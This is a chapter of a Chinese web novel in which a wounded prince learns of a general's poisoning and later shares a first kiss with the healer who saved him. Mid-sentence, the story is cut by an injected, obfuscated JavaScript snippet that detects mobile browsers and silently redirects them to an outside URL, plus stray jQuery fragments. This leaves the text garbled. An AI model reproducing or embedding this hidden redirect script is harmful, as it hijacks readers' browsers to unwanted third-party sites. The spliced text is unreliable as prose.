71.溟南卷·第六章

作品:《并骑弈飘飖

    6


    没有特殊情况,文蕼和萧逾也佩戴香囊,而且还是特别调制的酒香,不需要问路,鬼机灵就追着萧逾找到了文蕼和邹瑅所在的院落。


    院落中来来往往不少人,邹瑅坐在一张满是菜肴的圆桌前,一左一右两个年轻漂亮的女子正在照顾他用膳。


    文蕼坐在他们对面喝酒吃肉,身边倒是干干净净,见他们来,文蕼笑嘻嘻拿着猪肘子朝他们小跑来,邹瑅却只是抬头看了一眼,没有吭哪怕一声。


    “师弟,小灵,你们也太慢了吧,快来,浩然山庄的清蒸肘子真的绝了,来,师弟,你先尝一口。”文蕼说着,将手里的肘子递到萧逾嘴巴边。


    萧逾盯着邹瑅的方向皱起了眉,察觉到自己师兄怼到嘴里的肘子,无奈,只得先张嘴咬了一小口,斯文咀嚼着。只不过,这个过程中,他并没有收回视线就是了。


    文蕼又一个跨步,挡住萧逾视线的同时,往鬼机灵面前递了递,“小灵你也来一口?”


    那肘子上还有他啃过的明显痕迹,也就是萧逾不嫌弃他。


    鬼机灵忍不住看了眼邹瑅,见邹瑅连忙躲闪开眼神,他没有掩饰,露出苦涩的笑意,摇头婉拒:“我有些累了,你们吃吧。”


    闻言,旁边候着的女子很有眼力见的上来为他指路。


    文蕼还欲再说,萧逾先抓住他,带着他去到邹瑅对面坐下。鬼机灵也转身跟随引路的女子很快远去。


    邹瑅这才敢光明正大看鬼机灵的背影,都看不见人了,他才敢小声对身边两个女子说:“把这个,这个,还有这个,都给刚刚那位姑娘送去。”


    “贵客们先吃,厨房还有,奴婢这就去再盛一份给那位姑娘送去。”左边的女子说着,转身就要去办。


    邹瑅又看向右边的女子,“你也去,我的手能动。”


    闻言,女子没有多言,起身跟着离开。


    邹瑅一抬头,就对上萧逾审视的目光,明明萧逾很是稚嫩可爱,但邹瑅不知道为什么,就是有点怵他。


    邹瑅弱弱解释:“纪姑娘为了救我受了不少伤,正需要肉食补养,我只是出于对恩人的担心。”


    萧逾冷冷道:“这也会让他更加放不下你。”


    邹瑅看向文蕼,文蕼置若罔闻侧过头去啃肘子,他算是看明白了,他拦不住,也不敢拦,甚至恨不得将脸钻到手中的肘子里面去,生怕师弟注意到自己。


    萧逾又说:“既然已经决定要放过他,就请言行一致,别再给他任何希望。”


    邹瑅沉默片刻,苦笑点头,“好。”


    眼看一顿饭要吃不下去了,文蕼连忙对萧逾道:“师弟,我刚刚好像看到咱小棋姐和常胜王养在袖中的那只小狐狸了,小棋师妹多半也在附近,吃完饭我们去找找,真是没想到,才分开不到一个月就又能见面了。”


    李棋就跟逗猫棒一样,立刻夺去了萧逾的全部注意力。


    他当即就想去找,被文蕼拉住,说先吃饱,不然等会在她面前肚子叫多难为情啊,如此,萧逾才坐下乖乖吃饭。


    邹瑅听闻‘常胜王’三个字也是一愣,他一时间也吃不下去了,随手招来个小厮,问他常胜王是不是也在府上。


    小厮说不知道,邹瑅行动又不太方便,只能喊他去找老吴来。


    和老吴一同来的还有张乔。


    见邹瑅已经醒了,张乔喜极而泣,激动开心溢于言表,但随即又是深深的自责。


    “太好了!”他哽咽一声,双手取出从朱轶身上拿回来的邹瑅的身份令牌递给他,“殿下,都怪属下救驾来迟,若非有大将军未雨绸缪、及时赶到……”


    他说着就要跪下,邹瑅连忙将他搀起,难掩激动问他:“阿杲现在何处?他还好吗?”


    提起邹杲,张乔又沉默起来,还更加伤心难过,他还不知道邹杲已经醒来的事情,更不知道鬼机灵对邹杲的所作所为。


    “大将军本就身中剧毒,昨夜听闻您坠入湍流,急火攻心,当场吐血晕厥,被他的侍从送入浩然山庄之后就没了消息,属下四处打听,都无果,大将军就好像从没来过一样……”


    “什么!”邹瑅一惊,挣扎着就要起身,老吴连忙安抚道,“皇子殿下稍安勿躁,常胜王爷已经醒过来,”


    话音未落,门口传来爽朗的笑声,“阿瑅,听闻你在找我。”


    几人都是一愣,张乔惊呼一声‘大将军’,起身就想朝邹杲跑去,想到邹瑅才生生停下,跑着回过头一把搀扶起邹瑅一同上前。


    邹杲是被王安搀着过来的,虽然面色红润许多,但是一靠近,就能察觉他眼睛的不对劲了。


    “阿杲,你的眼睛,”邹瑅的声音都染上了哭腔,手伸出去又不敢碰。


    还是邹杲主动伸出手握住他的手,摸了摸他的脉搏,确定他的确只是皮外伤,才无所谓笑道:“暂时的,也不影响生活。”


    他说着,像是要证明一样,挣脱王安的搀扶,牵着邹瑅朝萧逾和文蕼走去。


    邹杲对两人笑道:“听闻是逍遥门二位少侠救了殿下,邹杲在此谢过了,他日有任何需求,尽管同本王说。”


    两人是真没想到,短短一个月不到,邹杲把自己整成了这样。


    萧逾没见李棋的身影,忍不住问:“我师兄说看到了姐姐的灵狐,姐姐人呢?”


    邹杲松开邹瑅,手指深入衣袖中探了探,小灵狐顺着他的手臂爬到他的肩膀上。


    小灵狐拉扯着他的头发,像是想喊他同它去哪里。


    “我也是刚刚才发现小七儿。”邹杲笑着将小灵狐拿下来顺毛安抚,又说,“纪姑娘说小棋儿此刻正在怀鹤乡中,想来玄翼和小七儿是感受到了我和千赤的气息,特意跑来喊我去和小棋儿汇合的。”


    萧逾拿起桌上的剑就要离开,文蕼连忙拉住他的手。


    邹杲也道:“小棋这次不是随我来的,而是为怀鹤乡近万的疫病病患来的,疫病还未平息,我们还是先不要去惹她分心为好。”


    文蕼凑在萧逾耳边小声不知道说了什么,萧逾才放下剑,坐下又继续闷闷吃了起来。


    邹瑅和张乔连忙扶邹杲坐下。


    张乔欲言又止,邹杲先察觉到,笑道:“张将军有什么疑问顾虑,但说无妨。”


    话虽这么说,张乔还是警惕看向对面萧逾和文蕼,又听邹杲笑着说是自己人,他还是不放心,又起身驱退了候着的下人们。


    邹瑅被搞得心急如焚,连忙抓着他的手问:“究竟是什么事?”


    张乔当即跪在两人面前,看向邹杲苦口婆心劝道:“大将军,末将听闻您身上的剧毒只有溟南海深处的鬼族才能解,时间还所剩不多,以防万一,您还是先去把毒解了吧。”


    此话一出,邹瑅和王安都是一惊。


    邹瑅面色凝重看向邹杲,却还是自欺欺人勉强笑道:“阿杲,这只是夸大后的传言,是你和父皇的计谋,是不是?”


    王安在邹杲耳边低声道:“应该是乔树和孟山泄露出去的,小的这就去…”


    邹杲抬手打断他,又听邹瑅心如死灰问:“当真是那日父皇让你服下的毒药所致?”


    王安停了下来,邹杲也面向邹瑅,沉默许久,只是笑了笑,没做言语。


    “还剩多少时间?”邹瑅颤抖着问,突然,又激动说,“父皇手中应该还有一枚起死回生蛊,我这就去给你要来。”


    他说着手臂抓着桌子就要借力起身走,邹杲没有跟随起身,却快且准的伸手将他拉住。


    张乔闻言一惊,但见邹瑅站不稳,也顾不得太多,赶忙起身扶住他。


    邹瑅眼中都有了泪水,“阿杲你放开我,我一定得去,我不能眼睁睁看着你死在我面前。”


    “……没到要死的地步,”邹杲情绪沉重,才踌躇着开口,却被突然传进耳朵的哐当声打断。


    循着声音望去,是不知何时啃完手里的猪肘子、又拿起一只清蒸鸡啃得正畅快的文蕼突然丢了根骨头。也不知道他是有意还是无意,啃得干干净净的骨头砸在面前的盛汤的碗里,发出清脆的声响。


    被几双眼睛齐刷刷注视着,文蕼犹不觉有什么问题,莫名其妙问,“干嘛这么看着我,你们也想吃?”


    几人不语,他一番纠结,先将另一个鸡腿扯下塞到手里还拿着一个猪肘子在吃的萧逾手里,又扯下另一个鸡翅塞到萧逾嘴里,这才不情不愿将鸡身递给他们,“诺,你们分吧。”


    至于他身边的萧逾,只淡淡扫了两人一眼,也没有要分享的意思,将鸡腿和啃过的猪肘子放到碗里,慢条斯理吃起嘴里的鸡翅来,吃得好不酣畅。


    邹瑅和张乔对两人不是很熟,尤其是张乔,顿觉冒犯,觉得他们是在藐视皇威。


    但他才发出了‘你’音,就听邹杲笑道:“多谢二位少侠忍痛割爱,心意我领了,但我吃过了,并不饿,就不和二位少侠抢了。”


    他空洞的双目转向邹瑅,“殿下和张将军呢,吃不吃?”


    邹杲这明显是在调和,邹瑅也不想当着外人的面落邹杲的面子,何况他二人的确救了自己一命。


    他摇摇头,“多谢二位好意,二位自己吃吧。”


    “不吃还那么看我,你们可真奇怪。”文蕼絮叨抱怨着,很快将手里的鸡又放下,撕扯下一些滋溜又吃起来。


    邹瑅看向邹杲,想扶着邹杲去别处说话,却听邹杲先说:“殿下放心,纪姑娘妙手回春,经她治疗,我体内的毒已经压制住了。”


    两人闻言又是一惊。


    “当真?”邹瑅问。


    张乔也说:“可那位跟着大将军从鄂阳一路走过来的李姑娘都说没办法,纪姑娘一个初出茅庐、籍籍无名的普通游医,真的能压制大将军体内的剧毒吗?”


    他悲痛又问:“大将军,你是不是为了稳定军心,又在诓骗我等?”


    此话一出,邹瑅的喜悦尽数消散。


    邹杲无奈叹气,好笑道:“好不容易走到太平盛世,我如何会再拿自己的性命来诓骗你们。”


    他意味深长笑着看向邹瑅又说:“而且,那位纪姑娘也绝不是什么普通游医,她的本事大着呢。”


    见两人还是不信,邹杲无奈,撩起衣袖朝两人露出手腕,示意两人自己摸他的脉。


    习武之人多少都懂点医术,或许开不出药,但通过脉搏判断大概情况都是没问题的。


    两人复杂对视一眼,邹瑅先伸手摸上去。


    见邹瑅神色古怪,久久不说话,邹杲叹气,又朝张乔伸出另一只手。


    两人一人握着邹杲一只手,许久,邹杲出声,两人才放开。


    “这下信了吧。”邹杲玩笑又说,“若是还不信,王安,你去打盆水来,我再当着殿下和张将军的面洗把脸。”


    王安没有立刻行动,而是看向邹瑅不确定问了句,“那小的这就去取水来?”


    邹瑅被他两人逗笑,没好气道:“我看是得去找些脂粉来好好给你涂抹上,你以为你现在的脸色很好看吗。”


    邹杲笑笑,“应该也不至于很难看。”


    张乔则继续认真问:“纪姑娘能根治吗?”


    邹瑅也很关心,邹杲摇头,“不能,所以我明日就要启程出发去虚无岛了。”


    “这……”


    两人都是欲言又止。


    邹瑅先拍案道:“虚无岛得名虚无就是因为难以寻找、仿若虚幻,海上雾气又大,若再遇到危险,恐怕有去无回…利州如今的形势,我又不敢走开……”


    邹瑅为难着,转而看向张乔。“这样,张乔,你带五百神武军随阿杲一同去。”


    张乔一愣,殿下比他预料的更关切大将军的安危。


    如此,他虽然也担心邹瑅,但却更加忧心邹杲。


    只犹豫一瞬,他赶忙表态,“属下愿护送大将军前往,但殿下这边并不安稳,殿下不妨立刻上书陛下,求陛下派兵增援。”


    邹瑅点点头,又摇头说,“修筑堤坝需要不少人力物资,已经有两批至少一千神武军在前往利州的路上了,你不用担心,只管护送阿杲前往虚无岛即可。”


    张乔听了一喜,邹瑅又看向文蕼和萧逾,“不知二位是否着急赶回师门,若是不急,我愿以万金相邀,只求二位陪常胜王走一趟虚无岛。”


    “这个嘛……”两人都停了下来,文蕼故意拖长尾音,也不知道是为难,还是想狠敲一笔。


    听几人你一言我一语都快定下了,邹杲好笑道:“殿下,我只是去求医,不是收复虚无岛。虚无岛总人数恐怕都没有五百人,食物匮乏,非要带五百神武军去,到了住哪、吃什么都是大问题。”


    邹瑅和张乔不说话了,两人眉头紧皱,都是在想解决办法。


    五百人的确不是小数目,衣食住行绝不是小数目。


    邹杲又道:“浩然山庄家主与我父母是故交,虚无岛之行他们已经安排妥当,殿下和张将军恪尽职守、管理好利州城大小事务便好。”


    他又扭头面向萧逾和文蕼的方向,“二位少侠若无事,尽可同行游玩,但小棋儿心系怀鹤乡,此行不会同往,途中许多无趣,二位少侠要做好准备。”


    一听李棋不会一起,萧逾瞬间没了兴趣。


    见萧逾没了兴趣,文蕼也兴趣缺缺,“多谢常胜王美意,没有小棋妹妹一起,我和师弟就不凑这个热闹了。”


    邹杲笑笑,意思是随他们意愿。


    邹瑅和张乔还要再说什么,但邹杲先道:“还要准备不少事宜,劳烦殿下先送我回去吧。”


    这就是两人要说悄悄话的意思,邹瑅意会,连忙起身,尽管自己行动都不利索,还是搀扶着邹杲远去。


    张乔和王安自觉远远跟在身后,两人一路走一路聊,回到邹杲下榻的院落还聊了许久。


    在邹杲那儿洗了个热水澡,换上一身干净舒适的衣物,又一起吃过晚膳,邹瑅才依依不舍离开。


    邹瑅回来时,三人正在吃晚饭。


    文蕼不知道说了什么,引得两人直笑,邹瑅生怕惊扰她们,连忙停在拐角处,躲在其后,但他的目光不受控的黏在鬼机灵身上。


    或许是他的目光太直白炙热,鬼机灵很快察觉到他的存在,抬起头和他四目对了个正着,萧逾冰冷的视线也跟着探来。


    邹瑅也不好再躲,窘迫笑了笑,努力装出自然的神色朝三人走去。


    “还在吃晚膳吗?”一句绞尽脑汁才想出来的废话。


    文蕼笑笑,解围道:“皇子殿下吃了吗?要不一起?”


    虽然没冷场,但邹瑅还是不太笑得出来,也有些装不下去了。


    “我在阿杲那儿吃过了,你们慢慢吃。周副将,扶我回屋。”话音未落,邹瑅逃也似的离去。


    那一瘸一拐又竭力加速离去的背影,一看就知道不对劲。


    萧逾将筷子往桌上一放,瞬间没了任何胃口。


    他一言不发看向鬼机灵,好一会儿,鬼机灵才依


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894571|188740||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    依不舍收回惆怅的视线。


    一转头就对上萧逾冰冷的注视,鬼机灵一惊,很是发憷心虚。


    萧逾简直气不打一处来。


    鬼机灵讪笑着搂住萧逾的胳膊,“小逾,”他撒娇喊。


    萧逾不应,他又喊,“小逾,”他声音低落许多,“我一时半会儿割舍不掉,控制不住自己嘛,别不理我,小逾~”


    文蕼不动声色勾着萧逾的肩膀将他揽到怀中,让他和鬼机灵拉开一定距离,同时劝道:“师弟,还记得后山那条小红鱼吗,亲近之人越是阻拦,越是不服输想要得到,但凡当时师父和师叔少说一句,我俩都不会摔断腿,躺上好几个月。”


    萧逾嘴唇抿成一条直线,鬼机灵又软软喊了声‘小逾’,他才重新扭头看向鬼机灵。


    “我不管了。”淡淡说罢,萧逾拿起筷子又吃起饭来,动作很大很大口,明显带着怒气。


    鬼机灵连忙站起来给他夹了好几样他爱吃的,又两口把碗里剩下的米饭吃掉,这才欲盖弥彰说:“我吃饱了,我先回屋去了。”


    他虽然很急切,却没有立刻离开,听到萧逾‘嗯’了声,才笑着转身跑远了。


    没错,就是跑着走的,刚开始那几步还耐着性子慢慢走,后面越走越快,还没走出两人的视野就忍不住跑了起来。


    萧逾盯着他的背影,脸臭得,饭都吃不下去了,手中筷子险些被他捏断。


    文蕼揽住他的肩膀,一边喂他吃挑去鱼刺的鱼肉,一边笑说:“师弟,都决定相信小灵了,那就言行一致吧。”


    这正是萧逾说邹瑅的话。萧逾瞪文蕼一眼,却没有说什么,只接下了喂到嘴边的鱼肉。不吃白不吃。


    *


    鬼机灵来到邹瑅的门外时,邹瑅也才进屋,门都还没关。


    听到脚步声,回头见是她来了,邹瑅先是一喜,反应过来又连忙冷了脸,不咸不淡问:“纪姑娘怎么来了?”


    鬼机灵看着他不答,而是一步步靠近。


    周副将有些不知所措,但见殿下虽然步步后退,脸和耳根却红了,已有家室的他瞬间明白过来。


    “劳烦纪姑娘照料殿下片刻,殿下刚刚说口渴,属下先去取热茶来。”说罢,也不管欲言又止伸手与欲抓住他的邹瑅,快步离去,还关上了房门。


    邹瑅左臂被鬼机灵搀着,后背是柱子,根本无处可躲。


    才刚刚黄昏,屋里的烛火还未点燃,但此刻房门紧闭,只有些许昏暗的光亮透过雕花窗户进入。


    两人只依稀看到彼此的面容轮廓,看不太清更细致的情绪变化,这也让鬼机灵鼓起了勇气。


    “殿下,”他柔软但不够细腻的手顺着手臂而下,抓住了邹瑅三根手指。


    邹瑅心跳如擂鼓,腿软绵绵的,感觉整个人都快要站不住了。


    鬼机灵另一只手也摸上来,他细细感受着邹瑅的手心,摸着那一个个新老交错的茧子,心疼道:“殿下,手被磨破的时候很疼吧。”


    这,邹瑅哪还能守住。


    修筑堤坝时,别说磨破手心,受伤都是正常的事,当时也不觉得有什么,只缠上布条便又继续,现在听她说起,邹瑅只觉得好像真挺疼的。


    但他还是不自然说,“还好,更重的活他们没让我干。”说着就想把手抽回来。


    可他实在舍不得,根本没使什么劲,鬼机灵稍微一用力,就稳稳抓住了。


    鬼机灵一边轻轻揉着他手心的老茧,一边柔柔又喊了声“殿下”。


    完了。邹瑅心中哀嚎,别说挣脱,不反握住都用尽了他全部的克制。


    就这么揉按了一会儿,在邹瑅舒服得不知天地为何物时,鬼机灵又轻柔唤他“殿下,”小心翼翼问,“那个镯子原本是要送给我的吗?”


    邹瑅心中一惊,他夜视能力甚至比邹杲还好一些,少女羞红的脸上忐忑又期许的神态让他根本说不出狠话来。


    他只得用沉默来与之抗衡。


    “殿下,”又是一声更加卑微却执着的呼唤,邹瑅失守。


    “是。”他肯定说罢,连忙又找补,“只是香囊的还礼,没有其他意思。”


    邹瑅看到面前的女子明显松了口气,似乎有些喜极而泣,紧紧握着他的手重重呼吸一下,颤抖着说:“殿下,我希望你有其他的意思。”


    她又上前一步,两人之间的距离不过一寸。


    这个距离,太近太亲密,花香与药香萦绕着,让邹瑅有种飘飘欲仙之感。


    “殿下,我知道文蕼师兄和萧逾师弟和你说过一些话,也知道是因为他们的话,你才改变了想法,但是殿下,这是你和我的事,我虽人微言轻,却也该有知道和决定的权力,不是吗,殿下。”


    见纪灵都这么说了,邹瑅也不好再做缩头乌龟。


    他低头看着几乎依靠在自己怀中的女子,喉结滚动,深呼吸一下才按住心中冲动,冷静下来。


    “纪姑娘,我没你想的那么好,我放不下我的身份地位,更不敢做出让我父皇母后和皇祖母失望伤心的事来。”


    鬼机灵摇头,“我不要殿下为我放下身份地位,我只是想陪在殿下身边,无论以什么身份,哪怕只是婢女。”


    “不不不,”邹瑅连连摇头,推开她抬腿要走,却再下一瞬又回过头握着她的手、看着她说,“你很好,你不该这样被对待,对不起,是我太懦弱无能……”


    没说完的话被堵在喉咙里,又咽进肚子里。


    是鬼机灵突然两步上前抓住他的衣襟,踮脚用双唇堵住了他的嘴巴。


    一瞬间,邹瑅双眼瞪到了极限,反应过来,他正要推开,却感受到唇上笨拙又急切的吮吸试探。


    邹瑅承认,他就是被色欲迷了心神。


    他伸手扣住纪灵的后脑勺,一手掐住她细瘦到让人心疼的腰,同样笨拙又横冲直撞的回应侵占着。


    两人都是头一遭,邹瑅虽听那些老兵描述过许多,但却因为邹杲的影响,并没有随便去找人实际体验过。


    如今头一遭,摸索好半天还是不得章法,只知道啃咬唇上的软肉。


    听到纪灵吃疼出声,他一惊,连忙松开:“咬疼了?我看看!”


    见都咬破流血了,邹瑅愧疚不已,“都是我不好。”


    纪灵却羞涩笑着缩进他的怀中,“殿下没有不好,我很喜欢。”


    她又仰头看着邹瑅,脸颊红扑扑的,眼睛亮堂堂的,嘴唇莹润晶莹,整个人很是羞涩,但还是大着胆子说:“殿下,唾液能止血的。”


    这完全是赤裸裸的邀请,邹瑅只迟疑了片刻,便又低头吻了下去。


    这回儿他更加小心细致,也竭力克制着,只是轻轻舔舐破皮流血的那处,见血不流了,就立刻放开了。


    纪灵羞怯看他一眼,整个人都扑在他怀中。


    邹瑅也是激动喜悦不已,如获至宝,紧紧将人抱住。


    安安静静抱了一会儿,纪灵闷闷的声音从他怀中传出,“殿下,等有时间了,把镯子修好给我好不好。”


    她又说:“我不要别的,只要殿下的喜爱,哪怕只是很短很短的一段时间,很少的一部分。”


    邹瑅的心疼无以复加,他捧起纪灵的脸,无比郑重道:“纪灵,我没法跟你承诺什么,但我一定不会让你无名无姓留在我身边,你等等,多给我些时间。”


    纪灵热泪盈眶,“好!”又扑进他怀中。


    两人又一次紧紧相拥,许久许久。